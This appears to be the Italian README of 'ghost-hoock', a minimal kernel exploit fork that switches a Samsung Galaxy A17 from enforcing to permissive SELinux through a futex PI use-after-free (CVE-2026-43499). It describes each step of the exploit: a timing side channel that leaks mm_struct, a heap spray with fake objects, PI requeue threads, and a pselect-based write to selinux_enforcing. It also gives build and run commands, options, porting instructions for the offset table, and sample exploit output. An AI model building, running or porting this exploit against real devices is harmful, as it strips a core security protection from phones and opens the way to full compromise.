
GhostLock ridotto a una sola primitiva: SELinux disattivato su Galaxy A17 (BZA5) tramite futex PI UAF (CVE-2026-43499). Nessun root, nessuna patch delle credenziali, nessun rwforge.
Un fork minimale di GhostLock che mantiene una sola primitiva: disattivare SELinux tramite CVE-2026-43499 (futex PI UAF).
ghost-hoock è un fork ridotto all'osso dell'exploit GhostLock di Mobile Hacking Lab, ridotto a una singola primitiva:
Una scrittura vincolata tramite futex PI UAF ->
selinux_enforcing = 0.
Niente root, niente sovrascrittura di cred, niente canale rwforge, niente UMH, niente configfs. Solo il minimo necessario per portare SELinux in modalità permissive sul kernel vulnerabile.
Output di esempio su un Samsung Galaxy A17 (SM-A175F, BZA5):
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
Poi:
$ getenforce
Permissive
getenforce restituisce Permissive
L'exploit prende di mira CVE-2026-43499 — una use-after-free nella catena rt_mutex PI (Priority Inheritance) del futex del kernel Linux. La catena in ghost-hoock è composta da quattro passaggi:
Side-channel temporale contro la tabella hash dei futex del kernel. Martelliamo FUTEX_WAKE_PRIVATE su un insieme di futex in user-space, misuriamo i delta di rdtsc e correliamo le collisioni dei bucket hash. Questo recupera l'indirizzo del nostro stesso mm_struct — la base della pagina di spray di cui avremo bisogno in seguito.
Questa è la tecnica KernelSnitch, presa alla lettera dall'exploit originale.
Allochiamo una grande pagina slab order-3, poi la disponiamo con il layout di oggetti falsi usato dalla route PI:
Tre thread:
FUTEX_WAIT_REQUEUE_PI su f_wait, puntando a f_pi_target.FUTEX_LOCK_PI su f_pi_target e poi su f_pi_chain.sched_setattr(tid, SCHED_BATCH, nice=19) sul TID del waiter, il che attiva rt_mutex_setprio() e forza il kernel ad attraversare l'albero PI falso.Una quarta chiamata dal thread principale — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — avvia il requeue. All'interno del kernel, rb_erase() viene eseguito contro il nostro albero falso.
pselect() / select() copia l'fd_set dell'utente nello stack del kernel e successivamente lo attraversa. Disponiamo le bitmap dell'fd_set in modo che le word che il kernel interpreta come puntatori rb-tree finiscano su fake_right e sul suo genitore — e il risultante rb_set_parent(child, parent) diventa:
*(uint64_t *)target = value | color
Per mode = 1 (Write 1), target = selinux_enforcing e value = base + 0x100, che si codifica come byte0 = 0, byte1 = 1. Il kernel scrive 0 in selinux_enforcing[0] — SELinux è ora permissive.
Questo è un fork di mobilehackinglab/ghostlock-a17 (MIT). Quanto segue è preso 1:1 dall'exploit upstream:
Anche il codice ausiliario (macro pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) è mantenuto così com'è dall'originale.
Il GhostLock originale ottiene root completo sull'A17: installa un canale fisico R/W rwforge, modifica cred / real_cred, esegue un helper UMH con credenziali init, cattura i log e altro ancora. In ghost-hoock, tutto ciò che va oltre la prima scrittura vincolata è stato eliminato.
Il GhostLock originale rimane più completo e potente di questo fork. ghost-hoock non è un sostituto — è un PoC minimale per un unico compito ristretto: disattivare SELinux.
Richiede clang e make nel $PATH. Testato su Termux; funziona anche tramite adb shell se la toolchain è presente.
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make
Output: ./ghost-hoock (aarch64, PIE).
Tramite Android NDK (su un PC)
make NDK=/path/to/android-ndk-r26
oppure manualmente:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
Verifica della cross-compilazione
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
Opzioni
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
Variabili d'ambiente
· GHOSTLOCK_CORE — 0..N. Core CPU su cui è fissato il thread consumer. Predefinito: 0. · KPHYS — 0x.... Indirizzo fisico di caricamento del kernel, se diverso da P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Numero di pagine slab preparate durante lo spray. Predefinito: 32. · PSELECT_SHIFT — -14..14. Shift della word dell'fd_set. Solo per debug. · FOPS_MAX_ATTEMPTS — 4..72. Numero massimo di tentativi di prepare_kernel_page per il payload FOPS. · RWF_DEBUG — qualsiasi valore. Stampa le righe di debug dalla costruzione del payload.
6.12.23-android16-5-abA175FXXS5BZD2-4k.shell (u:r:shell:s0), non da un'app.Porting: altri dispositivi/kernel necessitano della propria tabella di offset. Aggiungi una nuova
OFFSETS_ENTRY(...)ininclude/offsets_bza5.hcon gli offset dei simboli estratti davmlinux/kallsymsper quella build, poi ricompila.
page_base errato o una scrittura che finisce su memoria non correlata farà crashare il kernel. Il fork ha meno superficie dell'originale (niente rwforge, niente patch di cred, niente UMH), quindi è statisticamente più sicuro, ma non a prova di bomba al 100%.slide = 0. Non c'è nessun leak KASLR in questo fork. Se lo porti su un kernel con KASLR abilitato, devi reintrodurre slide.c dall'originale.0 in selinux_enforcing. Se ti serve root, usa il ghostlock-a17 completo.selinux_enforcing = 0). Non tentare di estenderla alla Write 2 o alla pipeline rwforge senza comprendere a fondo la route PI.
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # shared header, API
│ ├── offset.h # TARGET_CONFIG_H dispatcher
│ ├── offsets_bza5.h # symbol offsets (BZA5 only)
│ ├── runtime_struct_offsets.h # dynamic struct offsets (_RSO macros)
│ └── target.h # BZA5 addresses, payload layout
├── src/
│ ├── main.c # CLI, offset selection, W1 loop
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # PI route + pselect constrained write
│ └── kernelsnitch/ # mm_struct leak (from upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — come l'upstream ghostlock-a17. Vedi LICENSE.
Questo fork mantiene l'avviso di copyright originale di mobilehackinglab (2026) e aggiunge sopra gli autori del fork, come richiesto dai termini MIT.
Il progetto è pubblicato rigorosamente per ricerca sulla sicurezza sul proprio dispositivo. Eseguirlo contro un dispositivo che non possiedi è illegale nella maggior parte delle giurisdizioni.
mm_struct.Creato per la ricerca. Testato su un singolo dispositivo fisico. Usa a tuo rischio.
| Offset | Oggetto | Scopo |
|---|
0x0E80 | fake_lock | rt_mutex falso |
0x0F80 | fake_fops | Tabella file_operations falsa |
0x1180 | fake_w0 | rt_mutex_waiter falso usato come albero target |
0x1240 | fake_right | Nodo destro falso dell'rb-tree — è da qui che proviene il valore scritto |
0x1260 | fake_left | Nodo sinistro falso dell'rb-tree |
0x1280 | fake_task | task_struct falso |
L'intera pagina viene inviata attraverso un socket AF_UNIX come SKB_SEND_SIZE = 2 * ORDER3_SIZE di sendmsg, così i dati dell'skb finiscono sulla nostra pagina leakata. Poi la liberiamo in un ordine controllato in modo che la nostra pagina finisca su uno slab parziale per-cpu che possiamo recuperare.
ret = 6 (invece del 9 predefinito) conferma che la scrittura è andata a segno: il consumer ha raggiunto il target durante select(), svegliandolo in anticipo.
| Componente | File | Note |
|---|
| KernelSnitch | src/kernelsnitch/* | Leak di mm_struct tramite timing dell'hash dei futex |
| Heap spray | src/spray.c | Layout di oggetti falsi, prepare_skb_payload, prepare_kernel_page |
| Route PI + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| Offset BZA5 | include/offsets_bza5.h | Tabella dei simboli estratta da 6.12.23-android16-5-abA175FXXS5BZD2-4k |
| Header target BZA5 | include/target.h | Layout degli indirizzi, offset del payload (solo sottoinsieme W1) |
| Offset delle struct a runtime | include/runtime_struct_offsets.h | Macro _RSO() per i campi di task_struct |
| File rimosso | Perché esisteva nell'originale |
|---|
rwforge_a17.c | Canale fisico R/W marching-forger tramite pipe_buffers |
pipe_physrw.c, pipe_reclaim.c | Recupero dei pipe-buffer -> lettura/scrittura arbitraria del kernel |
root.c | Sovrascrittura di cred / real_cred, installazione di su, patch del SID di SELinux |
umh_root.c, wq_umh_root() (in main.c) | Esecuzione di un helper con credenziali init da un workqueue item del kernel falsificato |
slide.c | Leak KASLR tramite oracolo boot_id — non necessario su BZA5, KASLR è disattivato |
miniadb.c | Bootstrap tramite ADB TCP |
try_cfi_stage() (in fops.c) | Stage configfs CFI-friendly usato per avviare il percorso root |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | L'intera pipeline root |
install_embedded_su(), install_embedded_wallpaper() | Helper per l'installazione di root |
Write 2 (cred), patch_cred_*, patch_task_seccomp | Acquisizione delle credenziali post-W1 |